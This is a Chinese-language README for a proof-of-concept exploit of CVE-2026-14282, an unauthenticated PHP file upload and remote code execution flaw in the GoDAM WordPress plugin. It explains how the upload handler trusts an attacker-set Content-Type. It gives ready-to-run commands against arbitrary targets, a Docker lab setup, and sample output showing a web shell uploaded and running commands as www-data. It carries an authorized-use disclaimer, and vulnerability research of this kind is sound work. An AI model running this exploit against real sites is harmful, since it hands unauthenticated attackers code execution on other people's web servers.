作者: nullwhisper
用途: 仅限授权的安全研究 / 漏洞验证。
GoDAM WordPress 插件版本 <= 1.12.2 注册了一个名为 godam_record 的 WPForms 字段。上传处理函数 save_video_file() 被挂钩到公开的 wpforms_process_before_filter 动作上,因此它会在任何身份验证检查之前运行。该处理函数信任攻击者可控的 Content-Type 请求头,只要 MIME 类型以 video/ 开头就接受 PHP 文件,并将其移动到 Web 可访问的目录 wp-content/uploads/godam/wpforms/ 中。这允许未认证的攻击者上传并执行任意 PHP 代码。
.
├── cve_2026_14282_poc.py # Main PoC
├── lab/
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a WPForms form with GoDAM field
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form
该脚本会自动检测 WPForms 表单 ID 和 GoDAM 字段 ID。如果页面包含多个表单或检测失败,请使用:
python3 cve_2026_14282_poc.py -u https://target.com/page-with-form \
--form-id 4 --field-id 1 --cmd "whoami"
下载存在漏洞的插件(请勿重新分发这些二进制文件):
mkdir -p lab/wpforms-lite lab/godam
cd lab/wpforms-lite
wget https://downloads.wordpress.org/plugin/wpforms-lite.latest-stable.zip
unzip wpforms-lite.latest-stable.zip
rm wpforms-lite.latest-stable.zip
cd ../godam
wget https://downloads.wordpress.org/plugin/godam.1.12.2.zip
unzip godam.1.12.2.zip
rm godam.1.12.2.zip
cd ../..
启动实验环境:
cd lab
docker compose up -d
在 http://127.0.0.1:8092 完成 WordPress 安装程序。
安装并激活插件,然后创建表单和测试页面:
docker exec -i lab-wpcli-1 wp plugin activate wpforms-lite --allow-root
docker exec -i lab-wpcli-1 wp plugin activate godam --allow-root
docker exec -i lab-wpcli-1 php /tmp/setup.php
运行 PoC:
python3 cve_2026_14282_poc.py -u 'http://127.0.0.1:8092/?page_id=7' --cmd 'echo PWNED'
已在 WordPress 6.8 + WPForms Lite 最新版 + GoDAM 1.12.2 上测试。
[*] Detecting WPForms form and GoDAM field...
[*] Found form ID 4, GoDAM field(s): 1
[*] Trying upload via field 1...
[+] Shell uploaded and executed: http://127.0.0.1:8092/wp-content/uploads/godam/wpforms/godam-shell.php
[+] Output: GODAM-RCE-Linux ... uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Command output:
GODAM-RCE-Linux ... PWNED
本仓库仅包含 PoC 和实验环境编排文件。为避免臃肿和分发问题,未包含存在漏洞的插件二进制文件。请从 WordPress.org 下载对应的漏洞版本,用于搭建你自己的实验环境。
本工具仅用于授权的安全测试与研究。请勿将其用于你不拥有或未经明确许可测试的系统。作者不对因使用本代码造成的滥用或损害负责。